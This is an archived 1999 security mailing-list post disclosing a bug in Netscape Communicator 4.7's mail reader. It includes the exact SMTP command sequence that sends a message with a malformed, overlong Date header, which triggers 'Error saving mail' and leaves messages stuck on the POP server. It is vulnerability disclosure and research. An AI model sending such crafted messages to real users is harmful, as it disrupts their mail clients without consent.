Netscape mail client error


From: BlueBoar () THIEVCO COM (Blue Boar)
Date: Fri, 19 Nov 1999 19:15:40 -0800


Using the mail reader that comes with Communicator 4.7

I was noticing that messages place themselves in order of date in my
inbox.  The date, of course, is dictated by the sender.

After some playing around, I came up with this set of SMTP commands:

EHLO thievco.com
MAIL FROM:<BlueBoar () thievco com>
RCPT TO:<blueboar () thievco com>
DATA
Date: Fri, 40 Nov
9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

QUIT

That would cause my mail program trouble.  It reads the mail, places it as
the oldest e-mail (thinks it's 12/31/69) and then gives a message:

"Error saving mail"

So far, nothing has crashed, however it refused to delete them from the POP
server.  I had to manually delete them by telnetting to port 110 and doing
DELE commands.

Clearly, one can expect problems with e-mail clients and news readers
trying to interpret intentionally bogus date fields.

I present this to the list to see what other interesting problems you guys
can discover.

I'm tempted to post one to the list, but I don't think I could get everyone
(over 3000, now) to consent. :)
